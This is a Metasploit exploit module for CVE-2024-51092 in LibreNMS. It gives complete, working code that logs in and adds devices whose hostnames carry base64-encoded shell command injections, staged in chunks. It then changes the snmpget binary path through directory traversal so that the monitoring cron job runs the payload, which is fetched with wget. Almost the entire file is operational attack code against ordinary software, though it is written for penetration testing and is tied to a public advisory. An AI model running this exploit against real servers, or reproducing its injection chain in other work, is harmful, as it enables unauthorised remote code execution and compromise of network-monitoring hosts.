##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Retry
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LibreNMS Authenticated RCE (CVE-2024-51092)',
'Description' => %q{
An authenticated attacker can create dangerous directory names on the system and
alter sensitive configuration parameters through the web portal.
Those two defects combined then allows to inject arbitrary OS commands inside shell_exec() calls,
thus achieving arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'murrant (Tony Murray)', # PoC
'Takahiro Yokoyama' # Metasploit module
],
'References' => [
[ 'URL', 'https://github.com/advisories/GHSA-x645-6pf9-xwxw'],
[ 'CVE', '2024-51092']
],
'Platform' => %w[linux],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
}
],
],
'DefaultOptions' => {
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(1),
'FETCH_URIPATH' => Rex::Text.rand_text_alpha(1)
},
'Payload' => {
'SPACE' => 128
},
'DefaultTarget' => 0,
'DisclosureDate' => '2024-11-15',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]),
OptString.new('PATH', [ true, 'LibreNMS installed location', '/opt/librenms' ]),
OptInt.new('WAIT', [ true, 'Wait time (seconds) for cron to poll the device', 315 ]),
]
)
end
def get_csrf_token(res)
res&.get_html_document&.at('meta[name="csrf-token"]') ? res.get_html_document.at('meta[name="csrf-token"]')['content'] : nil
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login')
})
return Exploit::CheckCode::Unknown('LibreNMS is not detected.') unless res&.code == 200 && res&.body&.include?('
LibreNMS')
token = get_csrf_token(res)
return Exploit::CheckCode::Unknown('LibreNMS detected. Failed to extract csrf token.') unless token
begin
login
rescue StandardError => e
return Exploit::CheckCode::Unknown(e)
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'about')
})
return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') unless res&.code == 200
html_body = res&.get_html_document
version_node = html_body&.at("a[@href='https://www.librenms.org/changelog.html']")
return Exploit::CheckCode::Unknown('LibreNMS detected. Cannot find libreNMS version.') if version_node.nil?
version_node&.at('span')&.content = ''
version = Rex::Version.new(version_node.text)
return Exploit::CheckCode::Safe("LibreNMS version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('24.9.0'), Rex::Version.new('24.9.1'))
Exploit::CheckCode::Appears("LibreNMS version #{version} detected, which is vulnerable.")
end
def login
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
})
fail_with(Failure::Unknown, 'Failed to access the login page.') unless res&.code == 200
login_res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'_token' => get_csrf_token(res)
}
})
fail_with(Failure::NoAccess, 'Failed to log into LibreNMS.') unless login_res&.code == 302
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
fail_with(Failure::Unknown, 'Failed to log into LibreNMS.') unless res&.code == 200 && res.body.include?('Devices')
@logged_in = true
print_status('Successfully logged into LibreNMS.')
end
def exploit
login unless @logged_in
add_host
print_status("Waiting up to #{datastore['WAIT']} seconds for cron to poll the device...")
created = retry_until_truthy(timeout: datastore['WAIT']) do
@hosts.all? { |h| change_snmpget(h) }
end
fail_with(Failure::Unknown, 'Failed to create malicious file. You may need more wait time, or the cron job might be disabled.') unless created
register_file_for_cleanup(datastore['FETCH_FILENAME'])
@hosts.each do |host|
change_snmpget(host)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'about')
})
end
end
def add_host
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'addhost')
})
fail_with(Failure::Unknown, 'Failed to access addhost page.') unless res&.code == 200
# The maximum host length is 128 characters.
# because 128 - 20 = 108 where 20 is length of remaining characters in original payload
if Rex::Text.encode_base64(payload.encoded).length <= 108
@hosts = [";echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|sh;"]
print_status("Adding host: '#{@hosts[0]}', length: #{@hosts[0].length}")
else
@hosts = []
staging_file = Rex::Text.rand_text_alpha(1, datastore['FETCH_FILENAME'])
register_file_for_cleanup(staging_file)
cmd = Rex::Text.encode_base64(payload.encoded)
# ;echo -n chunked_cmd>>staging_file;
# ;echo -n (space) = 9, >> = 2, ; = 1
max_chunk_size = 128 - (9 + 2 + staging_file.length + 1)
chunk_size = rand([1, max_chunk_size - 10].max..[1, max_chunk_size - 5].max)
print_status("Command chunk size = #{chunk_size}")
cmd_chunks = cmd.chars.each_slice(chunk_size).map(&:join)
redirector = '>'
cmd_chunks.each_with_index do |chunk, index|
print_status("Staging chunk #{index + 1} of #{cmd_chunks.count}")
@hosts << ";echo -n #{chunk}#{redirector}#{staging_file};"
redirector = '>>'
end
@hosts << ";cat #{staging_file} | base64 -d |sh;"
end
@device_ids = []
@hosts.each do |host|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'addhost'),
'vars_post' => {
'_token' => get_csrf_token(res),
'hostname' => host,
'snmp' => 'on',
'sysName' => '',
'hardware' => '',
'os' => '',
'os_id' => '',
'snmpver' => 'v2c',
'port' => '',
'transport' => 'udp',
'port_assoc_mode' => 'ifIndex',
'community' => '',
'authlevel' => 'noAuthNoPriv',
'authname' => '',
'authpass' => '',
'authalgo' => 'SHA',
'cryptopass' => '',
'cryptoalgo' => 'AES',
'force_add' => 'on',
'Submit' => ''
}
})
fail_with(Failure::Unknown, 'Failed to add device.') unless res&.code == 200 && res&.body&.include?('Device added')
print_status('Added host.')
link = res&.get_html_document&.at("div.alert.alert-success:contains('Device added') a")
device_link = link['href'] if link
device_id = device_link.match(%r{/device/(\d+)})[1] if device_link&.match(%r{/device/(\d+)})
@device_ids << device_id if device_id
end
end
def change_snmpget(host)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
})
return unless res&.code == 200
res = send_request_cgi({
'method' => 'PUT',
'headers' => {
'X-CSRF-TOKEN' => get_csrf_token(res)
},
'uri' => normalize_uri(target_uri.path, 'settings/snmpget'),
'ctype' => 'application/json',
'data' => {
'value' => "file://#{datastore['PATH']}/rrd/#{host}/../../../../../bin/ls"
}.to_json
})
res&.code == 200
end
def cleanup
super
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'settings/external/binaries')
})
if res&.code == 200
res = send_request_cgi({
'method' => 'DELETE',
'headers' => {
'X-CSRF-TOKEN' => get_csrf_token(res)
},
'uri' => normalize_uri(target_uri.path, 'settings/snmpget')
})
end
print_status('Failed to reset snmpget to default.') unless res&.code == 200
print_status('Reset snmpget to default.') if res&.code == 200
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'delhost')
})
token = get_csrf_token(res)
if res&.code == 200 && @device_ids
@device_ids.each do |device_id|
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'delhost'),
'vars_post' => {
'_token' => token,
'id' => device_id,
'confirm' => '1'
}
})
print_status("Failed to delete device: #{device_id}") unless res&.code == 200
print_status("Deleted device: #{device_id}") if res&.code == 200
end
elsif @device_ids
print_status("Failed to extract CSRF token. Failed to delete device: #{@device_ids.join(', ')}")
end
end
end